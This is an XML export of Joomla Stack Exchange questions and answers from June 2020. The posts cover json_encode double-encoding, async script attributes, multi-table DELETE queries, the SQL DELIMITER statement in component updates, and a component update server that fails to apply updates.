  <row Id="28203" PostTypeId="2" ParentId="17545" CreationDate="2020-06-23T20:34:32.090" Score="1" Body="&lt;p&gt;Zoo is another alternative. You can use Chronoforms and ChronoConnect. It isn't easy to setup. Chronoforms can't natively do &amp;quot;Join&amp;quot; on databases like Fabrik can. Here is a link to an example of Chronoforms &amp;amp; Connect together.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.grimeymedia.com/chronoforms-chronoconnectivity-5-example/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.grimeymedia.com/chronoforms-chronoconnectivity-5-example/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14373" LastActivityDate="2020-06-23T20:34:32.090" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28204" PostTypeId="2" ParentId="28202" CreationDate="2020-06-23T22:51:51.457" Score="-1" Body="&lt;p&gt;Save &lt;code&gt;$myParams&lt;/code&gt; in array format, not json, i.e. do not &lt;code&gt;json_encode($myParams);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-23T22:51:51.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28205" PostTypeId="2" ParentId="28202" CreationDate="2020-06-23T23:15:57.040" Score="3" Body="&lt;p&gt;&lt;code&gt;json_encode()&lt;/code&gt; is correctly doing its thing.  Double quoting is used to isolated keys and values; any double quotes inside of these data points must be escaped to maintain the integrity of the data (otherwise the data structure will break/fail when json decoded).&lt;/p&gt;&#xA;&lt;p&gt;If you tried to NOT json_encode() the iterable &lt;code&gt;params&lt;/code&gt; data, then your code would fail because the &lt;code&gt;params&lt;/code&gt; column (which is a &lt;code&gt;VARCHAR(5120)&lt;/code&gt;) expects string-type data not an array/object.&lt;/p&gt;&#xA;&lt;p&gt;The source of the issue comes from the fact that you are baking your own json string manually for &lt;code&gt;available_page_groups&lt;/code&gt;. Please never do this.  Always declare the complete data structure to be encoded then only json encode the structure one time when finished building it.  Your code is effectly encoding a manually encoded string (IOW, double encoding).&lt;/p&gt;&#xA;&lt;p&gt;If this was my project, here's how I would declare the object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = (object)[&#xA;    'title' =&amp;gt; $moduleTitle,&#xA;    'note' =&amp;gt; '',&#xA;    'content' =&amp;gt; '',&#xA;    'position' =&amp;gt; $modulePosition,&#xA;    'checked_out' =&amp;gt; 0,&#xA;    'publish_up' =&amp;gt; '',&#xA;    'publish_down' =&amp;gt; '0000-00-00 00:00:00',&#xA;    'published' =&amp;gt; 1,&#xA;    'module' =&amp;gt; $moduleModule,&#xA;    'access' =&amp;gt; $moduleAccess,&#xA;    'showtitle' =&amp;gt; 1,&#xA;    'params' =&amp;gt; json_encode([&#xA;        'available_page_groups' =&amp;gt; [&#xA;            $currentmenuid,&#xA;        ],&#xA;        'show_page_title' =&amp;gt; 0,&#xA;        'show_page_notes' =&amp;gt; 0,&#xA;        'show_page_owner' =&amp;gt; 0,&#xA;        // ... more data&#xA;    ]),&#xA;    'client_id' =&amp;gt; 0, //front end module&#xA;    'language' =&amp;gt; '*',&#xA;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also, I think you went a little too literal on the &lt;code&gt;primary_key&lt;/code&gt; parameter of your &lt;code&gt;insertObject()&lt;/code&gt; call.  I think the Joomla Docs tricked you: &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  /**      * Inserts a row into a table based on an object's properties.  &#xA;    *      * @param   string  $table    The name of the database table to insert into.&#xA;    *      * @param   object  &amp;amp;$object  A reference to an object whose public properties match the table fields.&#xA;    *      * @param   string  $key      The name of the primary key. If provided the object property is updated.&#xA;    *      * @return  boolean    True on success.&#xA;    *      * @since   11.1&#xA;    *      * @throws  RuntimeException&#xA;    */&#xA;  public function insertObject($table, &amp;amp;$object, $key = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You probably want to go with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDbo()-&amp;gt;insertObject('#__modules', $module, 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since &lt;code&gt;id&lt;/code&gt; is the name of the &lt;code&gt;primary_key&lt;/code&gt; in the &lt;code&gt;modules&lt;/code&gt; table.  &lt;a href=&quot;https://docs.joomla.org/Tables/modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Tables/modules&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-06-28T01:15:04.033" LastActivityDate="2020-06-28T01:15:04.033" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28206" PostTypeId="1" AcceptedAnswerId="28214" CreationDate="2020-06-24T04:12:45.077" Score="1" ViewCount="51" Body="&lt;p&gt;My joomla 3.6.4 site has been recently upgraded to Php7.1.33&#xA;I am seeing one issue in Advanced Module Manager. &amp;quot;Search Tools&amp;quot; are not expanding for it. It is expanding for Article Editors and in other locations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9e09K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9e09K.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In broswer console logs, found these errors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Di5yb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Di5yb.png&quot; alt=&quot;Error displaying on browser&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14368" LastActivityDate="2020-06-24T22:32:41.080" Title="Search Tools not expanding for Advanced Module Manager" Tags="|joomla-3.x|search|php7|module-manager|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28207" PostTypeId="2" ParentId="28206" CreationDate="2020-06-24T06:20:03.743" Score="2" Body="&lt;p&gt;It's important to &lt;strong&gt;keep your software up-to-date&lt;/strong&gt;.Your &lt;strong&gt;Joomla 3.6.4&lt;/strong&gt; has been released in October 2016.&lt;/p&gt;&#xA;&lt;p&gt;The most recent Joomla version is &lt;strong&gt;Joomla 3.9.19&lt;/strong&gt; (June 2020). In between those versions, whole bunch of issues (including some security issues) have been fixed. It's a waste of time to try fixing issues with outdated software. Those issues might have been fixed already in the current version.&lt;/p&gt;&#xA;&lt;p&gt;Please &lt;strong&gt;update your extensions + Joomla&lt;/strong&gt; to the most recent versions, and then test again. Make sure that you &lt;strong&gt;create a backup&lt;/strong&gt; (files + database) before doing those updates, for example using Akeeba Backup.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-06-24T06:20:03.743" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28208" PostTypeId="2" ParentId="28182" CreationDate="2020-06-24T07:49:41.847" Score="1" Body="&lt;p&gt;The solution was the change the &lt;em&gt;Login Redirect Type&lt;/em&gt; to an Internal URL, &lt;strong&gt;and&lt;/strong&gt; ensure it was non-sef.&lt;/p&gt;&#xA;&lt;p&gt;This is in the documentation &lt;a href=&quot;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Due to a security fix on Joomla 3.4.6, the redirect url must be an&#xA;internal url, it must start with index.php? and be a non-sef url.&#xA;Before Joomla 3.4.6, it worked but that was due to a bug in the way&#xA;Joomla validated the urls. Now that security has been applied and the&#xA;urls tested correctly the above examples will fail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Once I change my URL to a non-sef version of my menu item it worked;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=32&amp;amp;Itemid=469&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thanks to @Grant G for the tips.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-06-24T07:49:41.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28209" PostTypeId="1" AcceptedAnswerId="28211" CreationDate="2020-06-24T13:18:09.180" Score="2" ViewCount="531" Body="&lt;p&gt;I would like to add &lt;code&gt;async&lt;/code&gt; to script tags coming from here &lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;head&amp;quot;  /&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have done some research and I found a few solutions, however those are for custom scripts.&lt;/p&gt;&#xA;&lt;p&gt;I managed to find a workaround by editing the core file &lt;code&gt;HeadRenderer.php&lt;/code&gt; located in &lt;code&gt;[root]/libraries\src\Document\Renderer\Html&lt;/code&gt; and directly adding the &lt;code&gt;async&lt;/code&gt; attribute, but It doesn't feel quite right.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to add &lt;code&gt;async&lt;/code&gt; and &lt;code&gt;media=&amp;quot;all&lt;/code&gt; for Joomla core scripts and css, such as &lt;code&gt;templates/system/css/general.css&lt;/code&gt;and &lt;code&gt;media/jui/js/jquery-migrate.min.js?06b66bce294749c101f79cb21aac7ace&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to either override the head core file or adding &lt;code&gt;async&lt;/code&gt; from my &lt;code&gt;index.php&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-06-24T13:23:22.380" LastActivityDate="2020-06-24T14:32:24.813" Title="How do I add async attribute for scripts?" Tags="|joomla-3.x|javascript|overrides|header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28210" PostTypeId="2" ParentId="28209" CreationDate="2020-06-24T14:32:08.967" Score="1" Body="&lt;p&gt;If you want to add attributes to all scripts, use a system plugin with &lt;code&gt;onBeforeCompileHead&lt;/code&gt; event.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;        foreach ($this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;_scripts as &amp;amp;$script)&#xA;        {&#xA;            $script['async'] = true;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is there any way to either override the head core file or adding async from my index.php file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Although similar code can be added to the template file, it will not affect modules because they are rendered after the template has been parsed. As well as some plugins which add assets during &lt;code&gt;onBeforeRender&lt;/code&gt; or &lt;code&gt;onBeforeCompileHead&lt;/code&gt; events.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-06-24T14:32:08.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28211" PostTypeId="2" ParentId="28209" CreationDate="2020-06-24T14:32:24.813" Score="2" Body="&lt;p&gt;You'd better not edit (&amp;quot;core hack&amp;quot;) Joomla's core files because that's a recipe for disaster.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;async&lt;/code&gt; attribute is available if you use the &lt;code&gt;HTMLHelper&lt;/code&gt; to include your CSS file. See Joomla 3.9.19 /libraries/src/HTML/HTMLHelper.php line 687 for how to write a &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; element to load a CSS file and it's documentation.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Namespace to include HTMLHelper&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;// Add the template.css stylesheet to the &amp;lt;head&amp;gt;&#xA;HTMLHelper::_(&#xA;    'stylesheet',&#xA;    'template.css',&#xA;    ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true],&#xA;    ['async' =&amp;gt; 'async']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-06-24T14:32:24.813" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28212" PostTypeId="1" AcceptedAnswerId="28213" CreationDate="2020-06-24T18:54:03.857" Score="2" ViewCount="329" Body="&lt;p&gt;I'm trying to make function (task) and deleting rows in two tables. But I don't get this sql query working, I only got this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1064 - An error has occurred.&#xA;&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'INNER JOIN `#__codes2` WHERE #__codes' at line 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the right way to doing this in Joomla?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function delete_codes(){&#xA;&#xA;  $id = $this-&amp;gt;input-&amp;gt;getInt('id'); &#xA;&#xA;  $db = JFactory::getDBO(); &#xA;//$sql = &amp;quot;DELETE FROM `#__codes` WHERE `code_id` = $id&amp;quot;;&#xA;&#xA;  $sql = &amp;quot;DELETE FROM `#__codes` &#xA;             INNER JOIN `#__codes2 &#xA;             WHERE #__codes.code_id = $id&#xA;             AND #__codes2.id = $id&amp;quot;;&#xA;&#xA;  $db-&amp;gt;setQuery($sql); &#xA;  $db-&amp;gt;execute();&#xA;  &#xA;die();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14375" LastActivityDate="2020-06-25T07:15:30.667" Title="Deleting rows in two different tables" Tags="|php|mysql|controller|task|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28213" PostTypeId="2" ParentId="28212" CreationDate="2020-06-24T19:38:48.437" Score="1" Body="&lt;p&gt;Why don't you do it in 2 steps?&lt;/p&gt;&#xA;&lt;p&gt;I would do something like the following code. As you can see I use name spacing (since Joomla 3.8), used &lt;code&gt;quoteName&lt;/code&gt; the table + field names and added a try/catch block.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;public function delete_codes()&#xA;{&#xA;$id = $this-&amp;gt;input-&amp;gt;getInt('id'); &#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;-&amp;gt;delete($db-&amp;gt;quoteName('#__codes'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('code_id') . ' = ' . (int) $id);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;try&#xA;{&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;catch (RuntimeException $error)&#xA;{&#xA;    throw new Exception($error);&#xA;}&#xA;&#xA;// Clear the query object before re-using it&#xA;$query-&amp;gt;clear()&#xA;-&amp;gt;delete($db-&amp;gt;quoteName('#__codes2'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . (int) $id);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;try&#xA;{&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;catch (RuntimeException $error)&#xA;{&#xA;    throw new Exception($error);&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-06-24T19:38:48.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28214" PostTypeId="2" ParentId="28206" CreationDate="2020-06-24T22:32:41.080" Score="2" Body="&lt;p&gt;&lt;code&gt;joomla.getOptions&lt;/code&gt; is a JS function available in Joomla 3.7+, hence the reason you have this error. You have two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Source an &lt;em&gt;older&lt;/em&gt; version of Advanced Module Manager which is&#xA;compatible with Joomla 3.6.X. This option is not advised due to &lt;a href=&quot;https://www.cvedetails.com/vendor/3496/Joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;multiple security vulnerabilities&lt;/a&gt; in your version of Joomla.&lt;/li&gt;&#xA;&lt;li&gt;Upgrade to the latest Joomla 3.9.X, which will solve this particular&#xA;issue, as well as the vast majority of &lt;a href=&quot;https://www.cvedetails.com/vendor/3496/Joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;known vulnerabilities&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-24T22:32:41.080" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28215" PostTypeId="2" ParentId="28212" CreationDate="2020-06-25T04:18:47.457" Score="1" Body="&lt;p&gt;You can definitely delete rows from multiple tables in a single query, but Joomla doesn't offer a query-building technique to accommodate this.&lt;/p&gt;&#xA;&lt;p&gt;If you absolutely demand that query builder methods must be used, then you'll need to conduct some &amp;quot;surgery&amp;quot; (which isn't very pretty) on the generated query before executing it -- see &lt;a href=&quot;https://joomla.stackexchange.com/a/24776/12352&quot;&gt;https://joomla.stackexchange.com/a/24776/12352&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whenever a framework or querybuilding class doesn't offer methods for specific sql tasks, it usually comes down to two reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The author(s) didn't think to do it or didn't get around to doing it yet, or more likely...&lt;/li&gt;&#xA;&lt;li&gt;The author(s) considered implementing a method which accommodates the technique, but alas there isn't a clean/guaranteed way to cater to the full spectrum of databases in circulation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Since Joomla doesn't offer a single-query approach to deleting with JOINs, you can write your own raw sql.  Luckily, the variable that you are injecting into your script will be cast as an integer by &lt;code&gt;getInt()&lt;/code&gt; -- this means that your query will be stable/secure.  Although as a general aside, I don't support the use of &lt;code&gt;$_GET&lt;/code&gt; data whenever the database is going to be writing data (INSERT|UPDATE|DELETE) -- for these actions, I always promote &lt;code&gt;$_POST&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Untested snippet:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function delete_codes(){&#xA;    $db = JFactory::getDBO(); &#xA;    $sql = &amp;quot;DELETE c1, c2&#xA;            FROM `#__codes` AS c1 &#xA;            INNER JOIN `#__codes2` AS c2 ON c1.code_id = c2.id&#xA;            WHERE c1.code_id = &amp;quot; . $this-&amp;gt;input-&amp;gt;getInt('id');&#xA;    $db-&amp;gt;setQuery($sql); &#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Effectively, you needed to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nominate the table aliases between the &lt;code&gt;DELETE&lt;/code&gt; and &lt;code&gt;FROM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add the missing backtick after your second table declaration&lt;/li&gt;&#xA;&lt;li&gt;write the &lt;code&gt;ON&lt;/code&gt; clause for your &lt;code&gt;INNER JOIN&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Some relevant pages to support the credibility of my advice:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.mysqltutorial.org/mysql-delete-join/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysqltutorial.org/mysql-delete-join/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/51331429/2943403&quot;&gt;Delete from 2 tables using INNER JOIN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/784800/2943403&quot;&gt;How do I delete from multiple tables using INNER JOIN in SQL server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-06-25T07:15:30.667" LastActivityDate="2020-06-25T07:15:30.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28216" PostTypeId="1" CreationDate="2020-06-25T14:26:17.887" Score="2" ViewCount="31" Body="&lt;p&gt;For the next version of my component I need split some data into different tables, which requires some rather more complex SQL than I would usually use. The problem is that there doesn't seem to be a way to use the &lt;code&gt;Delimiter&lt;/code&gt; command - I have a fairly simple bit of code that I'm using in &lt;code&gt;/admin/sql/updates/0.0.60.sql&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `increment` (&#xA;  `id` int(11) NOT NULL auto_increment,&#xA;  PRIMARY KEY  (`id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8;&#xA;&#xA;DELIMITER #&#xA;&#xA;CREATE PROCEDURE do_while()&#xA;BEGIN&#xA;  DECLARE v1 INT DEFAULT 100;&#xA;  WHILE 0 &amp;lt; v1  DO&#xA;    INSERT INTO increment VALUES (NULL);&#xA;    SET v1 = v1 - 1;&#xA;  END WHILE;&#xA;END#&#xA;&#xA;DELIMITER ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I try to run it I get the message: &lt;code&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELIMITER' at line 1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Changing the delimiter character doesn't seem to have any effect. I have found some very old threads suggesting that in the 1.* versions there was no way to use multi-line statements because the delimiter is fixed by the underlying SQL library - is that still the case now? Is there another way around this in more modern versions of Joomla?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2020-06-25T14:26:17.887" Title="Using the SQL `Delimiter` statement in component update" Tags="|component|sql|extension-update|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28217" PostTypeId="1" CreationDate="2020-06-25T19:33:23.190" Score="0" ViewCount="308" Body="&lt;p&gt;I hope that I may ask this, but is there a straight forward code example for a subform to save the data and to retrieve the data.&#xA;What I have now is written an save function in controller/model with an insert statement to save the data and I'm thinking what is the best way to populate the edit.php with data. I can write an select query to get the data but I think this is not the way.&#xA;And I'm not the only one who strugling with this I think.&lt;/p&gt;&#xA;&lt;p&gt;BR.&lt;/p&gt;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastEditorUserId="126" LastEditDate="2020-07-10T16:39:02.197" LastActivityDate="2020-07-10T16:39:02.197" Title="Straight forward code example to save and retrieve the data for a Subform?" Tags="|subform|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28218" PostTypeId="2" ParentId="24399" CreationDate="2020-06-26T17:06:24.817" Score="0" Body="&lt;p&gt;I have exactly the same problem and have been ignoring it and periodically I see if I can find a way to solve it.&lt;/p&gt;&#xA;&lt;p&gt;The only workaround I have come up with is to do component development in a project that includes a full Joomla fileset (with all of the bits of my component in the place joomla expects to find them) rather than in the structure that is needed to package up the extension.&lt;/p&gt;&#xA;&lt;p&gt;There must be a way to simply tell Eclipse that all the references to JFactory, JHtml, JText etc can be found in a different folder not in the main project...&lt;/p&gt;&#xA;&lt;p&gt;Eclipse seems to be built around the idea of building a project - which it seems makes no sense when developing a Joomla module/plugin/component. I'm puzzled, but I offer this workaround as a kludge solution.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastEditorUserId="12352" LastEditDate="2020-06-26T23:39:57.987" LastActivityDate="2020-06-26T23:39:57.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28219" PostTypeId="1" AcceptedAnswerId="28221" CreationDate="2020-06-27T12:57:02.770" Score="1" ViewCount="101" Body="&lt;p&gt;I'm not sure if it's a good title for my question, because my component actually updates -  at least that's what Joomla tells me.&lt;/p&gt;&#xA;&lt;p&gt;So, the problem is that I developed a component and now I need to update it but it doesn't seem to be updating.&lt;/p&gt;&#xA;&lt;p&gt;I created a folder called &lt;code&gt;component-update&lt;/code&gt; in my root folder. Inside that folder I have:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;update.html&lt;/code&gt; file containing information about the update.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My zipped component called &lt;code&gt;com_gallery-update-1.9.1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;XML &lt;code&gt;updates.xml&lt;/code&gt; file containing instructions for the update.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In my &lt;code&gt;updates.xml&lt;/code&gt; file I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;Gallery Update&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;Gallery Component Update&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;com_gallery&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.9.1&amp;lt;/version&amp;gt;&#xA;            &amp;lt;infourl&amp;gt;http://localhost/component-update/update.html&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&amp;quot;full&amp;quot; format=&amp;quot;zip&amp;quot;&amp;gt;http://localhost/component-update/com_gallery-update-1.9.1.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;    &#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;3.[23456789]&amp;quot; /&amp;gt;&#xA;        &amp;lt;php_minimum&amp;gt;5.3&amp;lt;/php_minimum&amp;gt;&#xA;        &amp;lt;supported_databases mysql=&amp;quot;5.6.19&amp;quot;&amp;gt;&amp;lt;/supported_databases&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the component's mainfest file I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;updateservers&amp;gt;&#xA;      &amp;lt;server type=&amp;quot;extension&amp;quot; name=&amp;quot;Gallery Updates&amp;quot;&amp;gt;http://localhost/component-update/updates.xml&amp;lt;/server&amp;gt;&#xA;   &amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the &amp;quot;Update sites&amp;quot; page, in Joomla Administrator Panel, I have:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Gallery updates&lt;/p&gt;&#xA;&lt;p&gt;http://localhost/component-update/updates.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My component appears on the update list and I'm able to update it; Joomla gives me this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Message&lt;/p&gt;&#xA;&lt;p&gt;Updating component was successful&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But the component does not change the version and when I click on &amp;quot;Find Updates&amp;quot; I can see my component update again on the list, which means the component wasn't really updated.&lt;/p&gt;&#xA;&lt;p&gt;I can't tell you what's wrong because it doesn't give me any error message.&lt;/p&gt;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing folders&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing XML files&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trying update type &lt;code&gt;collection&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clearing the cache&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reparing database&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rebuilding update sites&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing names&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;None of those worked. If someone has experienced this before, please help me.&lt;/p&gt;&#xA;&lt;p&gt;I'm following along with this tutorial: &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_update_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_update_server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" 